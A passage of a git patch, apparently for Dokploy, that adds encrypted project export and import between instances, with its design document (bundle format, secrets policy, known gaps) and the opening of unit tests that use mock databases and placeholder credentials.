From 86e18f714928b581a1f1bed1a7a50197a65c2652 Mon Sep 17 00:00:00 2001 From: Narciso Date: Thu, 15 Oct 2026 17:27:45 -0400 Subject: [PATCH] feat(project-export-import): export and import projects between Dokploy instances Export a project (or a scoped subset of its environments and services) into an encrypted .dokploy.tar.gz bundle, and import it as a new project or into an existing one, on the same or another instance. - Capture -> serialize -> plan -> apply pipeline with requirement detection and resolution for external dependencies (git providers, registries, destinations, vaults, SSH keys, networks, certificates, servers). - The whole payload is encrypted with AES-256-GCM using a scrypt key derived from the passphrase; secrets are never written to disk in plaintext. - appName/domain/port conflict detection with per-conflict resolutions, cross-org guards on every reused resource, one active transfer per user and a cleanup sweep for abandoned jobs. - Optional database dumps (postgres, mysql, mariadb, mongo, libsql) embedded in the bundle or streamed through a destination, with opt-in credential rotation on import. - Bundles can be downloaded or uploaded to a destination; whole-organization export to a destination; Settings -> Exports page to manage remote bundles. - SSH keepalive on remote commands so a dead server fails the job instead of hanging it forever. - See EXPORT_IMPORT.md for the bundle format, secrets policy and known gaps. --- EXPORT_IMPORT.md | 250 ++ .../__test__/export-import/apply-tags.test.ts | 127 + .../__test__/export-import/apply.test.ts | 2311 +++++++++++++++++ .../__test__/export-import/appname.test.ts | 92 + .../export-import/bundle-route.test.ts | 198 ++ .../export-import/bundle-validation.test.ts | 182 ++ .../__test__/export-import/capture.test.ts | 440 ++++ .../__test__/export-import/cleanup.test.ts | 134 + .../__test__/export-import/conflicts.test.ts | 265 ++ .../__test__/export-import/crypto.test.ts | 183 ++ .../__test__/export-import/delivery.test.ts | 236 ++ .../export-import/deserialize.test.ts | 393 +++ .../export-import/download-route.test.ts | 316 +++ .../__test__/export-import/dumps.test.ts | 550 ++++ .../__test__/export-import/estimate.test.ts | 118 + .../__test__/export-import/export-job.test.ts | 348 +++ .../__test__/export-import/export.test.ts | 276 ++ .../__test__/export-import/files.test.ts | 414 +++ .../import-from-destination.test.ts | 83 + .../__test__/export-import/import-job.test.ts | 282 ++ .../__test__/export-import/jobs.test.ts | 65 + .../__test__/export-import/migrations.test.ts | 52 + .../__test__/export-import/permission.test.ts | 108 + .../__test__/export-import/plan.test.ts | 367 +++ .../__test__/export-import/post-apply.test.ts | 248 ++ .../__test__/export-import/remote-fs.test.ts | 189 ++ .../export-import/requirements.test.ts | 334 +++ .../__test__/export-import/resolve.test.ts | 285 ++ .../__test__/export-import/restore.test.ts | 368 +++ .../__test__/export-import/rotate.test.ts | 548 ++++ .../__test__/export-import/roundtrip.test.ts | 444 ++++ .../__test__/export-import/router.test.ts | 577 ++++ .../__test__/export-import/safe-error.test.ts | 41 + .../export-import/secret-fields.test.ts | 189 ++ .../export-import/secrets-review.test.ts | 53 + .../__test__/export-import/serialize.test.ts | 187 ++ .../__test__/export-import/types.test.ts | 116 + .../export-import/upload-route.test.ts | 411 +++ .../export-import/validate-plan.test.ts | 511 ++++ .../__test__/export-import/versions.test.ts | 179 ++ .../__test__/export-import/warnings.test.ts | 281 ++ .../export-import/bundle-source-step.tsx | 210 ++ .../export-import/collapsible-section.tsx | 38 + .../export-import/destination-select.tsx | 95 + .../project/export-import/export-wizard.tsx | 338 +++ .../project/export-import/import-project.tsx | 619 +++++ .../project/export-import/import-summary.tsx | 252 ++ .../export-import/passphrase-fields.tsx | 117 + .../export-import/requirements-list.tsx | 158 ++ .../project/export-import/resolution-step.tsx | 235 ++ .../project/export-import/scope-form.tsx | 406 +++ .../project/export-import/secrets-review.tsx | 124 + .../export-import/transfer-progress.tsx | 24 + .../project/export-import/versions-table.tsx | 64 + .../components/dashboard/projects/show.tsx | 14 +- .../settings/exports/show-exports.tsx | 512 ++++ apps/dokploy/components/layouts/side.tsx | 8 + apps/dokploy/package.json | 2 + .../pages/api/project-export-import/bundle.ts | 98 + .../project-export-import/download/[token].ts | 96 + .../pages/api/project-export-import/upload.ts | 209 ++ .../pages/dashboard/settings/exports.tsx | 57 + apps/dokploy/server/api/root.ts | 2 + .../dokploy/server/api/routers/destination.ts | 48 +- .../api/routers/project-export-import.ts | 854 ++++++ apps/dokploy/server/api/routers/project.ts | 13 + apps/dokploy/server/api/routers/registry.ts | 71 +- apps/dokploy/server/server.ts | 2 + packages/server/src/constants/index.ts | 1 + packages/server/src/db/schema/audit-log.ts | 4 +- packages/server/src/index.ts | 1 + packages/server/src/services/certificate.ts | 2 +- packages/server/src/services/destination.ts | 48 + .../services/project-export-import/apply.ts | 305 +++ .../project-export-import/apply/children.ts | 272 ++ .../project-export-import/apply/services.ts | 528 ++++ .../project-export-import/apply/shared.ts | 345 +++ .../services/project-export-import/appname.ts | 83 + .../services/project-export-import/capture.ts | 436 ++++ .../services/project-export-import/cleanup.ts | 114 + .../project-export-import/conflicts.ts | 76 + .../services/project-export-import/crypto.ts | 189 ++ .../project-export-import/delivery.ts | 128 + .../project-export-import/deserialize.ts | 209 ++ .../services/project-export-import/dumps.ts | 361 +++ .../project-export-import/estimate.ts | 156 ++ .../project-export-import/export-job.ts | 308 +++ .../services/project-export-import/files.ts | 159 ++ .../project-export-import/import-job.ts | 143 + .../services/project-export-import/index.ts | 31 + .../services/project-export-import/jobs.ts | 294 +++ .../project-export-import/migrations/index.ts | 21 + .../project-export-import/permission.ts | 94 + .../services/project-export-import/plan.ts | 704 +++++ .../project-export-import/post-apply.ts | 285 ++ .../services/project-export-import/queries.ts | 260 ++ .../project-export-import/remote-fs.ts | 251 ++ .../project-export-import/requirements.ts | 508 ++++ .../services/project-export-import/resolve.ts | 245 ++ .../services/project-export-import/restore.ts | 312 +++ .../services/project-export-import/rotate.ts | 470 ++++ .../project-export-import/secret-fields.ts | 186 ++ .../project-export-import/secrets-review.ts | 99 + .../project-export-import/serialize.ts | 124 + .../project-export-import/service-kinds.ts | 106 + .../services/project-export-import/types.ts | 458 ++++ .../project-export-import/versions.ts | 153 ++ .../project-export-import/warnings.ts | 179 ++ packages/server/src/services/registry.ts | 35 + .../server/src/utils/process/execAsync.ts | 2 + pnpm-lock.yaml | 29 +- 111 files changed, 26018 insertions(+), 113 deletions(-) create mode 100644 EXPORT_IMPORT.md create mode 100644 apps/dokploy/__test__/export-import/apply-tags.test.ts create mode 100644 apps/dokploy/__test__/export-import/apply.test.ts create mode 100644 apps/dokploy/__test__/export-import/appname.test.ts create mode 100644 apps/dokploy/__test__/export-import/bundle-route.test.ts create mode 100644 apps/dokploy/__test__/export-import/bundle-validation.test.ts create mode 100644 apps/dokploy/__test__/export-import/capture.test.ts create mode 100644 apps/dokploy/__test__/export-import/cleanup.test.ts create mode 100644 apps/dokploy/__test__/export-import/conflicts.test.ts create mode 100644 apps/dokploy/__test__/export-import/crypto.test.ts create mode 100644 apps/dokploy/__test__/export-import/delivery.test.ts create mode 100644 apps/dokploy/__test__/export-import/deserialize.test.ts create mode 100644 apps/dokploy/__test__/export-import/download-route.test.ts create mode 100644 apps/dokploy/__test__/export-import/dumps.test.ts create mode 100644 apps/dokploy/__test__/export-import/estimate.test.ts create mode 100644 apps/dokploy/__test__/export-import/export-job.test.ts create mode 100644 apps/dokploy/__test__/export-import/export.test.ts create mode 100644 apps/dokploy/__test__/export-import/files.test.ts create mode 100644 apps/dokploy/__test__/export-import/import-from-destination.test.ts create mode 100644 apps/dokploy/__test__/export-import/import-job.test.ts create mode 100644 apps/dokploy/__test__/export-import/jobs.test.ts create mode 100644 apps/dokploy/__test__/export-import/migrations.test.ts create mode 100644 apps/dokploy/__test__/export-import/permission.test.ts create mode 100644 apps/dokploy/__test__/export-import/plan.test.ts create mode 100644 apps/dokploy/__test__/export-import/post-apply.test.ts create mode 100644 apps/dokploy/__test__/export-import/remote-fs.test.ts create mode 100644 apps/dokploy/__test__/export-import/requirements.test.ts create mode 100644 apps/dokploy/__test__/export-import/resolve.test.ts create mode 100644 apps/dokploy/__test__/export-import/restore.test.ts create mode 100644 apps/dokploy/__test__/export-import/rotate.test.ts create mode 100644 apps/dokploy/__test__/export-import/roundtrip.test.ts create mode 100644 apps/dokploy/__test__/export-import/router.test.ts create mode 100644 apps/dokploy/__test__/export-import/safe-error.test.ts create mode 100644 apps/dokploy/__test__/export-import/secret-fields.test.ts create mode 100644 apps/dokploy/__test__/export-import/secrets-review.test.ts create mode 100644 apps/dokploy/__test__/export-import/serialize.test.ts create mode 100644 apps/dokploy/__test__/export-import/types.test.ts create mode 100644 apps/dokploy/__test__/export-import/upload-route.test.ts create mode 100644 apps/dokploy/__test__/export-import/validate-plan.test.ts create mode 100644 apps/dokploy/__test__/export-import/versions.test.ts create mode 100644 apps/dokploy/__test__/export-import/warnings.test.ts create mode 100644 apps/dokploy/components/dashboard/project/export-import/bundle-source-step.tsx create mode 100644 apps/dokploy/components/dashboard/project/export-import/collapsible-section.tsx create mode 100644 apps/dokploy/components/dashboard/project/export-import/destination-select.tsx create mode 100644 apps/dokploy/components/dashboard/project/export-import/export-wizard.tsx create mode 100644 apps/dokploy/components/dashboard/project/export-import/import-project.tsx create mode 100644 apps/dokploy/components/dashboard/project/export-import/import-summary.tsx create mode 100644 apps/dokploy/components/dashboard/project/export-import/passphrase-fields.tsx create mode 100644 apps/dokploy/components/dashboard/project/export-import/requirements-list.tsx create mode 100644 apps/dokploy/components/dashboard/project/export-import/resolution-step.tsx create mode 100644 apps/dokploy/components/dashboard/project/export-import/scope-form.tsx create mode 100644 apps/dokploy/components/dashboard/project/export-import/secrets-review.tsx create mode 100644 apps/dokploy/components/dashboard/project/export-import/transfer-progress.tsx create mode 100644 apps/dokploy/components/dashboard/project/export-import/versions-table.tsx create mode 100644 apps/dokploy/components/dashboard/settings/exports/show-exports.tsx create mode 100644 apps/dokploy/pages/api/project-export-import/bundle.ts create mode 100644 apps/dokploy/pages/api/project-export-import/download/[token].ts create mode 100644 apps/dokploy/pages/api/project-export-import/upload.ts create mode 100644 apps/dokploy/pages/dashboard/settings/exports.tsx create mode 100644 apps/dokploy/server/api/routers/project-export-import.ts create mode 100644 packages/server/src/services/project-export-import/apply.ts create mode 100644 packages/server/src/services/project-export-import/apply/children.ts create mode 100644 packages/server/src/services/project-export-import/apply/services.ts create mode 100644 packages/server/src/services/project-export-import/apply/shared.ts create mode 100644 packages/server/src/services/project-export-import/appname.ts create mode 100644 packages/server/src/services/project-export-import/capture.ts create mode 100644 packages/server/src/services/project-export-import/cleanup.ts create mode 100644 packages/server/src/services/project-export-import/conflicts.ts create mode 100644 packages/server/src/services/project-export-import/crypto.ts create mode 100644 packages/server/src/services/project-export-import/delivery.ts create mode 100644 packages/server/src/services/project-export-import/deserialize.ts create mode 100644 packages/server/src/services/project-export-import/dumps.ts create mode 100644 packages/server/src/services/project-export-import/estimate.ts create mode 100644 packages/server/src/services/project-export-import/export-job.ts create mode 100644 packages/server/src/services/project-export-import/files.ts create mode 100644 packages/server/src/services/project-export-import/import-job.ts create mode 100644 packages/server/src/services/project-export-import/index.ts create mode 100644 packages/server/src/services/project-export-import/jobs.ts create mode 100644 packages/server/src/services/project-export-import/migrations/index.ts create mode 100644 packages/server/src/services/project-export-import/permission.ts create mode 100644 packages/server/src/services/project-export-import/plan.ts create mode 100644 packages/server/src/services/project-export-import/post-apply.ts create mode 100644 packages/server/src/services/project-export-import/queries.ts create mode 100644 packages/server/src/services/project-export-import/remote-fs.ts create mode 100644 packages/server/src/services/project-export-import/requirements.ts create mode 100644 packages/server/src/services/project-export-import/resolve.ts create mode 100644 packages/server/src/services/project-export-import/restore.ts create mode 100644 packages/server/src/services/project-export-import/rotate.ts create mode 100644 packages/server/src/services/project-export-import/secret-fields.ts create mode 100644 packages/server/src/services/project-export-import/secrets-review.ts create mode 100644 packages/server/src/services/project-export-import/serialize.ts create mode 100644 packages/server/src/services/project-export-import/service-kinds.ts create mode 100644 packages/server/src/services/project-export-import/types.ts create mode 100644 packages/server/src/services/project-export-import/versions.ts create mode 100644 packages/server/src/services/project-export-import/warnings.ts diff --git a/EXPORT_IMPORT.md b/EXPORT_IMPORT.md new file mode 100644 index 000000000..251d49c09 --- /dev/null +++ b/EXPORT_IMPORT.md @@ -0,0 +1,250 @@ +# Export / Import + +Move a project between Dokploy instances without recreating every +application, database, domain and secret by hand. + +- **Export** packages a project (or a subset of its environments/services) + into a `.dokploy.tar.gz` bundle, encrypted with a passphrase. +- **Import** reads a bundle back in, lets you resolve anything the + destination is missing (a vault provider, a registry, a git provider...), + and recreates the project. + +Both share the same underlying engine +(`packages/server/src/services/project-export-import/`), reachable from the UI (the +projects page: "Export project" in a project's menu, "Import project" next to +"Create project") or via the `projectExportImport.*` tRPC router. The HTTP routes +for streaming the bundle live under `/api/project-export-import/`. + +## Bundle format + +A `.dokploy.tar.gz` produced by export is a small tar with four readable +files and one encrypted payload: + +- `manifest.json` (format version, when/who exported it, the `ExportScope` + used, `sourceInstance` with the Dokploy version and release tag, whether the + source was Dokploy Cloud, the Traefik and Node versions and the Docker + server version of every server involved, and a public `crypto` block: salt, + KDF params and a `keyCheck` that lets import verify a passphrase before + touching anything else), `inventory.json`, `requirements.json` and + `warnings.json`: what's in the bundle and what the destination needs to + provide. The inventory also lists the Docker image of every database (and of + every docker-sourced application); a floating tag is flagged with + `IMAGE_TAG_NOT_PINNED` at export time. +- `payload.enc`: everything else, AES-256-GCM encrypted with a key derived + from the passphrase (scrypt). Inside it: `resources/{project,environments, + services,shared}.json` with secret fields replaced by `$secret:`, + `secrets.json` with those values, `dumps.json` + `dumps/` (database dumps + in "embed" mode), and `files/` (application sources, compose files, raw + Traefik config, custom certificates, depending on the `ExportScope`). The + GCM tag covers the whole payload, so any change to it makes the import fail + with "incorrect passphrase or corrupted bundle". + +None of this is a single flat YAML you can hand-edit end to end — the +resource JSON is legible, but the secrets are encrypted in their own file by +design (see "Secrets policy" below). + +### Database dumps + +`ExportScope.dumps.mode` controls how a service's data gets included: + +- `"none"` (default) — only configuration is exported, no data. +- `"embed"` — a dump per dumpable service (postgres/mysql/mariadb/mongo/ + libsql) is taken and stored inside the bundle itself. Mongo dumps the whole + instance (a service has no single database) and restore skips `admin` and + `config`; libsql tars sqld's `iku.db` directory and restore replaces it, + then restarts the service. +- `"referenceLastBackup"` — instead of dumping now, the bundle just records + which destination/prefix already holds the service's last scheduled + backup; import restores from there. + +Dumps taken from a database inside a compose stack (scheduled backups with a +`composeId`) travel in the bundle but are not restored automatically. + +## Where the work happens + +Every step that touches dumps or files runs inside a workspace, a +`{ serverId, path }` pair under `project-export-import/` on one server. All +file operations go through `remote-fs.ts`: same-server copies are a single +shell command, copies between two servers stream through +`pipeBetweenServers`, and `serverId: null` means the machine running Dokploy. + +- **Export** builds the bundle where the data lives. On Dokploy Cloud that is + always the project's server. Self-hosted, it is the remote server when every + selected service runs on the same one, and the local disk otherwise. Dumps + are written straight from the database's server into the workspace, the + JSON files are streamed from memory, and the encryption runs in Dokploy's + process as a stream (the payload passes through the control plane's network + once in each direction, never through its disk). The finished bundle is + uploaded to the destination with `rclone` from that same server, or served + by the download route as a stream from wherever it sits. +- **Import** unpacks and restores on the server you pick in the first step of + the wizard (mandatory on Cloud, "Local server" by default self-hosted). The + upload route streams the file straight to that server, "From a destination" + runs `rclone` there, and dumps that already sit on the target server are + restored in place without another copy. + +## The Exports screen + +`Settings → Exports` is the home for bundles kept in an S3 destination. Every +export to a destination lands under a fixed `dokploy-export-import/` +directory in the bucket, named `-.dokploy.tar.gz`, +and the screen only ever lists that directory. From there you can: + +- **Export** a single project or the whole organization to the selected + destination. The organization option runs one full export per project, one + after another, each built on the server where that project runs, all with + the same passphrase. Every project gets its own bundle. +- **Download** a bundle straight from the destination (Dokploy streams it + with `rclone cat`, nothing is stored locally). +- **Check passphrase** before downloading gigabytes: Dokploy reads only the + first 4 MB of the object, pulls `manifest.json` out of it and verifies the + passphrase against the manifest's key check. Bundles written before the + public files were moved to the front of the archive report as uncheckable. +- **Delete** a bundle from the destination. +- **Import project** opens the usual import wizard; its "From a destination" + tab lists the same directory. + +## Versions + +Export records where the bundle came from; import compares that against the +destination and shows the result in the Unlock step (a source vs. destination +table) and again in the plan warnings: + +- `DOKPLOY_VERSION_MISMATCH` — a warning when the bundle was exported from a + newer Dokploy than the destination (fields the destination doesn't know are + dropped silently), an info note when it is older or when the two can't be + compared (canary/feature tags). +- `INSTANCE_KIND_MISMATCH` — the bundle crosses the Cloud/self-hosted boundary. +- `TRAEFIK_VERSION_MISMATCH` — different Traefik versions; raw Traefik config + copied from the bundle may need adjusting. +- The destination checks run before "Start import" probe Docker on every + target server and report a different major version next to the server. + +Database engine versions are guaranteed by construction: each database is +recreated from the exact `dockerImage` recorded in the bundle, so the only way +to end up on a different version is a floating tag, which is what +`IMAGE_TAG_NOT_PINNED` warns about. + +## Import plan + +- **Conflicts.** The plan detects domains, published ports, project names and + networks that already exist at the destination, and the Review step lets you + pick what to do with each one: rename (a new host, port, project name or + network name), skip (import the domain disabled / don't publish the port / + don't attach the network) or keep (reuse the existing network). Defaults are + the safe ones: domains disabled, ports unpublished, project renamed to + ` (imported)`, existing networks reused. +- **Destination checks.** `importValidate` verifies app names are free on each + target server, every server is reachable, and every reused vault/registry/ + destination actually connects. Failing checks block "Start import". +- **Review secrets.** Credentials that rotation can't handle because they + belong to systems outside Dokploy (basic auth, registry, destination keys, + SSH keys, certificate keys) can be revealed and replaced before importing; + basic-auth passwords can be regenerated in place. +- **Deploy after import** is on by default and can be turned off to import + configuration only. + +## Secrets policy + +- Every field in `SECRET_FIELDS` (passwords, tokens, private keys, basic-auth + credentials, provider configs, ...) is redacted to `$secret:` when a + resource is captured; the real value only ever lives in an in-memory + `secretsPlain` map. +- `NEVER_EXPORT_FIELDS` (OAuth refresh tokens, git provider tokens, and a + few other instance-specific values) are stripped outright and never + travel in any form, even encrypted — see "Exclusions" below. +- On export, `secretsPlain` goes into `secrets.json` inside the encrypted + payload, next to the dumps and files; the key comes from the passphrase you + provide (scrypt-based KDF) and the passphrase itself is never stored. +- On import, the same passphrase decrypts the payload into the job's working + directory, every `$secret:` reference is resolved as each row is + inserted, and the directory is removed when the job ends or expires. +- **Database credentials can optionally be rotated on import — off by + default.** A straight migration (e.g. cloud to self-hosted) usually wants + the destination to behave exactly like the source, including its existing + database credentials, so nothing outside Dokploy that already has the + current password (an external app, a saved connection string) breaks. + Checking "Rotate database credentials" in the import wizard (or setting + `choices.rotateDatabaseCredentials: true` on `importPlan`) makes every + imported database service get a freshly generated password (and root + password, for mysql/mariadb); every other service's `env` is scanned for + the old value (literal and URL-encoded forms) and rewritten to the new + one. Services that don't reference the old password anywhere in their + `env` produce a `ROTATION_CHECK_CONSUMERS` warning — they may be getting + the credential some other way (an external secret) that this rotation + can't see or fix. The scan covers the project and environment `env`, every + service's `env`, application build args/secrets and preview variants, compose + files and file mounts. Dumps taken from a system database (mysql + `mysql`/`--all-databases`, mongo `admin`) may carry user accounts with the + old password, which `ROTATION_DUMP_MAY_CONTAIN_USERS` points out. A + password shorter than 8 characters, or equal to the database user or name, + is left alone and reported as `ROTATION_SKIPPED_UNSAFE_PASSWORD`: a blind + text replacement of such a value would also hit unrelated words. +- **Secret overrides** made in the "Review secrets" step are sent as a whole + set every time the wizard moves on; a secret dropped from the set goes back + to the value that came out of the bundle, so "Reset" really does reset. +- Mongo dumps cover the whole instance minus `admin` and `config`, so extra + users or roles defined in `admin` are not recreated on import; the export + says so with `MONGO_ADMIN_USERS_NOT_RESTORED`. + +## Exclusions and deliberate limitations + +Never exported, under any `ExportScope`: + +- `refreshToken` and any git provider OAuth token (git providers themselves + only travel as a `Requirement` you resolve on the destination, never as a + copied resource). +- `acme.json` (Traefik-managed Let's Encrypt certificates) — re-issued on + deploy at the destination; the bundle only carries the domain's `host`. +- Deployment/rollback history — build logs aren't service state. +- Active preview deployments and their domains. +- Real Docker volume data — only mount/volume *configuration* travels. +- Redis data — there's no backup/restore mechanism for Redis in the + codebase today. + +Product limitations, deliberate rather than bugs: + +- **Import never overwrites an existing project.** It always creates a new + project or environment. To "replace" one: import as new, verify it, then + delete the old one by hand. +- Export is per-project — no whole-instance export (that's what Web Server + Backup is for), no scheduled/recurring export, no diff between two + exports. + + +To duplicate an environment within the same project/instance, Dokploy already +has a separate `environment.duplicate` tRPC procedure for it (it copies the +environment shell and its env vars, not services) — it isn't part of this +module. Its handler in `advanced-environment-selector.tsx` isn't currently +wired to a button/menu item in the UI (pre-existing, not something this +module adds or fixes). + +## Known gaps + +- `assertTransferPermission` gates every export/import action to + organization owners and admins — there's no per-member grant the way + environment access has one. +- Vault provider assignments always get scoped to the new environment on + import, even when the original assignment was project-wide — worth + revisiting so a project-wide vault assignment doesn't get narrowed by + accident. +- Plan/billing limits cover environment count on import, but nothing yet + stops an import from creating an arbitrary number of services or projects + on a lower-tier plan. +- A bundle's `resources` payload is only validated structurally as + `Record` per resource; the encryption tag proves the + payload is what the exporter wrote, not that every resource has the shape + `apply()` expects. Import validates the fields that reach a shell or the + filesystem (destination flags, mount paths, volume names, ports); anything + else that is off surfaces as a runtime error partway through the import. +- The in-process rate limit (one active transfer per user, `rate-limit.ts`) + and the periodic cleanup sweep are both scoped to a single server process. + If Dokploy ever runs multiple server instances against the same database, + neither protection reaches across processes — closing that for real would + need a lock backed by Postgres, not local memory. +- The encrypted payload streams through the Dokploy process during export + and import (for the GCM cipher), so a bundle costs its size in control + plane bandwidth twice, though never in disk. +- The export preview's size estimates come from `du` and per-engine size + queries run at preview time; a database whose container isn't running + counts as 0. diff --git a/apps/dokploy/__test__/export-import/apply-tags.test.ts b/apps/dokploy/__test__/export-import/apply-tags.test.ts new file mode 100644 index 000000000..c143f7d3d --- /dev/null +++ b/apps/dokploy/__test__/export-import/apply-tags.test.ts @@ -0,0 +1,127 @@ +import { projects, projectTags, tags } from "@dokploy/server/db/schema"; +import type { + Plan, + Snapshot, + TransferWriteDb, +} from "@dokploy/server/services/project-export-import"; +import { apply } from "@dokploy/server/services/project-export-import"; +import { describe, expect, it } from "vitest"; + +const snapshot: Snapshot = { + manifest: { + format: "dokploy-project-export", + formatVersion: 1, + exportedAt: "2024-01-01T00:00:00.000Z", + exportedBy: { userId: "user-1", email: "a@b.com" }, + sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" }, + scope: { + includeEnvSecrets: true, + shared: {}, + files: { + applicationSources: true, + composeFiles: true, + traefikRaw: true, + customCertificates: true, + }, + dumps: { mode: "none" }, + includeBackupSchedules: true, + }, + crypto: { + salt: "c2FsdA==", + kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 }, + keyCheck: "{}", + }, + counts: {}, + }, + resources: { + project: { + projectId: "project-src", + name: "src", + env: "", + tags: [ + { name: "prod", color: "#f00" }, + { name: "billing", color: null }, + ], + }, + environments: [], + services: [], + shared: {}, + }, + requirements: [], + warnings: [], + dumps: [], +}; + +const plan: Plan = { + target: { kind: "newProject", name: "imported" }, + resolutions: {}, + serverMap: {}, + appNameMap: {}, + domainStrategy: { custom: "keep" }, + portsStrategy: "keep", + rotateDatabaseCredentials: false, + conflicts: [], + pendingServices: [], + warnings: [], + validation: [], + summary: { counts: {}, domains: 0, dumps: 0 }, +}; + +describe("apply project tags", () => { + it("reuses an existing tag by name and creates the missing one", async () => { + const inserted = new Map[]>(); + const writeDb = { + query: { + tags: { + findFirst: async (args: { + where: (f: unknown, o: unknown) => unknown; + }) => { + const captured: unknown[] = []; + args.where(new Proxy({}, { get: (_t, prop) => String(prop) }), { + and: (...v: unknown[]) => v, + eq: (a: unknown, b: unknown) => captured.push([a, b]), + }); + const nameArg = captured.find( + (c) => (c as [unknown, unknown])[0] === "name", + ) as [unknown, string] | undefined; + return nameArg?.[1] === "prod" + ? { tagId: "tag-existing", name: "prod" } + : undefined; + }, + }, + server: { findFirst: async () => undefined }, + webServerSettings: { findFirst: async () => undefined }, + }, + insert: (table: unknown) => ({ + values: (values: Record) => { + const row = { ...values }; + if (table === projects) row.projectId = "project-new"; + if (table === tags) row.tagId = "tag-new"; + const list = inserted.get(table) ?? []; + list.push(row); + inserted.set(table, list); + return { returning: async () => [row] }; + }, + }), + update: () => ({ set: () => ({ where: async () => {} }) }), + transaction: async (fn: (tx: unknown) => Promise) => + fn({ ...writeDb }), + } as unknown as TransferWriteDb; + + await apply(writeDb, snapshot, plan, new Map(), "org-dest"); + + expect(inserted.get(projects)?.[0]).not.toHaveProperty("tags"); + expect(inserted.get(tags)).toEqual([ + { + name: "billing", + color: null, + organizationId: "org-dest", + tagId: "tag-new", + }, + ]); + expect(inserted.get(projectTags)).toEqual([ + { projectId: "project-new", tagId: "tag-existing" }, + { projectId: "project-new", tagId: "tag-new" }, + ]); + }); +}); diff --git a/apps/dokploy/__test__/export-import/apply.test.ts b/apps/dokploy/__test__/export-import/apply.test.ts new file mode 100644 index 000000000..4b4dacb26 --- /dev/null +++ b/apps/dokploy/__test__/export-import/apply.test.ts @@ -0,0 +1,2311 @@ +import { + applications, + backups, + domains, + mounts, + ports, + projects, + security, + vaultProvider, +} from "@dokploy/server/db/schema"; +import type { + ExportScope, + Plan, + Snapshot, + TransferDb, + TransferWriteDb, +} from "@dokploy/server/services/project-export-import"; +import { + apply, + buildPlan, + capture, + detectRequirements, + detectWarnings, + LOCAL_SERVER_CANDIDATE_ID, + requirementKey, +} from "@dokploy/server/services/project-export-import"; +import { describe, expect, it } from "vitest"; + +const application = { + applicationId: "app-1", + name: "my-app", + appName: "my-app-abc123", + environmentId: "env-1", + env: "DB_PASS=${{vault.prod.DB_PASS}}\nAPI_TOKEN=abc123token", + buildArgs: null, + buildSecrets: null, + previewEnv: null, + serverId: null, + buildServerId: null, + githubId: null, + gitlabId: null, + giteaId: null, + bitbucketId: null, + refreshToken: "webhook-token", + registryId: "registry-src-1", + buildRegistryId: null, + rollbackRegistryId: null, + customGitSSHKeyId: null, + customGitSSHKey: null, + networkIds: [], + owner: null, + repository: null, + sourceType: "docker", + autoDeploy: false, + isPreviewDeploymentsActive: false, + createdAt: "2024-01-01T00:00:00.000Z", + domains: [ + { domainId: "dom-1", host: "app-1.example.com", createdAt: "2024-01-01" }, + ], + mounts: [ + { + mountId: "mount-1", + type: "file", + content: "server { listen 80; }", + mountPath: "/etc/nginx/nginx.conf", + serviceType: "application", + createdAt: "2024-01-01", + }, + ], + redirects: [], + security: [ + { + securityId: "sec-1", + username: "admin", + password: "basicauthpass", + createdAt: "2024-01-01", + }, + ], + ports: [ + { + portId: "port-1", + publishedPort: 8080, + publishMode: "host", + targetPort: 80, + protocol: "tcp", + }, + ], + schedules: [], + volumeBackups: [], +}; + +const emptyServiceArrays = { + postgres: [], + mysql: [], + mariadb: [], + mongo: [], + redis: [], + libsql: [], + compose: [], +}; + +const projectTree = { + projectId: "project-1", + name: "my-project", + organizationId: "org-src", + env: "", + createdAt: "2024-01-01T00:00:00.000Z", + environments: [ + { + environmentId: "env-1", + name: "production", + projectId: "project-1", + env: "", + isDefault: true, + createdAt: "2024-01-01T00:00:00.000Z", + applications: [application], + ...emptyServiceArrays, + }, + ], +}; + +const readDb = (): TransferDb => + ({ + query: { + projects: { findFirst: async () => projectTree }, + environments: { findFirst: async () => undefined }, + applications: { + findMany: async () => [application], + findFirst: async () => undefined, + }, + schedules: { findMany: async () => [] }, + volumeBackups: { findMany: async () => [] }, + vaultProvider: { + findMany: async () => [ + { + vaultProviderId: "vault-dest-1", + name: "prod", + providerType: "hashicorp", + organizationId: "org-dest", + }, + ], + findFirst: async () => ({ + vaultProviderId: "vault-dest-1", + name: "prod", + providerType: "hashicorp", + organizationId: "org-dest", + config: { + providerType: "hashicorp", + url: "https://vault", + token: "t", + }, + assignments: [], + }), + }, + registry: { + findMany: async () => [ + { + registryId: "registry-src-1", + registryName: "Acme", + registryUrl: "https://registry.example.com", + imagePrefix: "acme", + username: "user", + password: "pass", + organizationId: "org-src", + }, + ], + findFirst: async () => ({ + registryId: "registry-dest-1", + registryName: "Acme", + registryUrl: "https://registry.example.com", + imagePrefix: "acme", + username: "user", + password: "pass", + organizationId: "org-dest", + }), + }, + destinations: { findMany: async () => [] }, + network: { findMany: async () => [] }, + certificates: { findMany: async () => [] }, + gitProvider: { findMany: async () => [] }, + server: { + findMany: async () => [], + findFirst: async () => ({ organizationId: "org-dest" }), + }, + webServerSettings: { findFirst: async () => undefined }, + sshKeys: { findMany: async () => [] }, + domains: { findMany: async () => [] }, + ports: { findMany: async () => [] }, + }, + }) as any as TransferDb; + +const baseScope: ExportScope = { + includeEnvSecrets: true, + shared: {}, + files: { + applicationSources: false, + composeFiles: false, + traefikRaw: false, + customCertificates: false, + }, + dumps: { mode: "none" }, + includeBackupSchedules: true, +}; + +describe("apply", () => { + it("inserts project/environment/application/children with secrets restored, vault names rewritten, and no $secret: leaking through", async () => { + const db = readDb(); + const captureResult = await capture( + db, + { kind: "project", id: "project-1" }, + baseScope, + { + detectRequirements: (tree, scope) => + detectRequirements(db, tree, scope), + detectWarnings: (tree, scope) => detectWarnings(tree, scope), + }, + ); + + const snapshot: Snapshot = { + manifest: { + format: "dokploy-project-export", + formatVersion: 1, + exportedAt: "2024-01-01T00:00:00.000Z", + exportedBy: { userId: "user-1", email: "a@b.com" }, + sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" }, + scope: baseScope, + crypto: { + salt: "c2FsdA==", + kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 }, + keyCheck: "{}", + }, + counts: captureResult.inventory.totals, + }, + resources: captureResult.resources, + requirements: captureResult.requirements, + warnings: captureResult.warnings, + dumps: [], + }; + + const vaultKey = requirementKey( + captureResult.requirements.find((r) => r.kind === "vault")!, + ); + const registryKey = requirementKey( + captureResult.requirements.find((r) => r.kind === "registry")!, + ); + + const plan = await buildPlan( + db, + snapshot, + "org-dest", + { + kind: "newProject", + name: "imported-project", + }, + { + 